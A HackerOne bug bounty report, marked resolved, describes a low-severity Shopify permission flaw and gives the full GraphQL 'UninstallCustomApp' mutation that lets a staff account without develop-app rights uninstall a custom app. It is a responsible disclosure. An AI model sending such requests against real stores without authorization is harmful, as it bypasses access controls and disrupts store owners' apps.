User with no Develop apps permission can Uninstall Custom App
Low
Vulnerability Details
Hi,
You know user must have Develop apps permission to Uninstall Develop apps
to test this just create staff with `Manage and install apps and channels`
{F1601504}
send this mutation just change appId by your id
```
{"operationName":"UninstallCustomApp","variables":{"appId":"gid://shopify/App/6431893"},"query":"mutation UninstallCustomApp($appId: ID!) {\n appUninstall(input: {id: $appId}) {\n app {\n id\n __typename\n }\n userErrors {\n field\n message\n __typename\n }\n __typename\n }\n}\n"}
```
## Impact
User with no Develop apps permission can Uninstall Custom App
Actions
View on HackerOneReport Stats
- Report ID: 1466855
- State: Closed
- Substate: resolved
- Upvotes: 13